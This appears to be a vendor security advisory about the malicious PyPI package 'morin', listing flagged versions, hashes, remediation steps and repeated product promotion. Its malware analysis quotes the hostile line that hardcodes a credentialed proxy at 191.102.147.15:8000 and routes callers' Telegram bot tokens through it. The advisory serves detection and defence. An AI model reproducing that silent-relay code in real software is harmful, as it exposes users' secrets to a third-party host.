Which versions of morin are malicious?

The following PyPI versions of morin are flagged malicious: 0.5.23, 0.5.24, 0.5.26. Treat any of these as compromised.

How do I remediate morin if I installed it?

morin is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed morin — how do I know if it already compromised me?

If morin was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is morin part of a known attack campaign?

Yes — morin is associated with the IN-MAL-2026-003291, IN-MAL-2026-003290, IN-MAL-2026-003576 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find morin across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for morin (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging morin across your stack and pipelines.

Malicious package

morinPyPI

Malicious code in morin (PyPI) Remove it immediately and rotate any exposed credentials.

MAL-2026-4757

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall morin

What this malware does

morin/common.py hardcodes an HTTP proxy at 191.102.147.15:8000 with embedded credentials (proxies = {'https': 'http://5TUMV6:[email protected]:8000'}) and unconditionally routes all Telegram API calls through it via requests.get(url, params=params, proxies=proxies, timeout=15) where url=https://api.telegram.org/bot{bot_token}/sendMessage. Every Clickhouse/connector class in the package funnels through Common.log_func / Common.send_logs, so any caller using the package's notification feature ends up tunneling their Telegram bot_token (carried in the URL path) and log message content through this third-party host. The proxy is not the publisher's documented infrastructure, is not mentioned in the package documentation, and the operator of 191.102.147.15:8000 can observe and tamper with the CONNECT-tunneled traffic — including capturing the bearer bot tokens. This is the silent-relay shape: a public API quietly redirects caller-supplied secrets through an attacker-or-third-party-controlled destination.

Malicious versions

3 flagged

0.5.230.5.240.5.26

Indicators of compromise (SHA-256)

111c7b7358d363a099dcb3480bbef538d2ef40cb2e10a5558176496feef8bea5

37c27d25a4c203cbb89156281fbacc7feb424a09eaa296f7c3dedff860891f1f

9bc3ae6b2fbaf12d72087044e10c772a0e60c32404950ba8d8a41df145ca5b96

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for morin (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging morin across your stack and pipelines.
If you installed it — respond
morin is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If morin was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks morin before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. morin on PyPI has been identified as a malicious package (versions 0.5.23, 0.5.24, 0.5.26 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-003291IN-MAL-2026-003290IN-MAL-2026-003576

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks morin-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring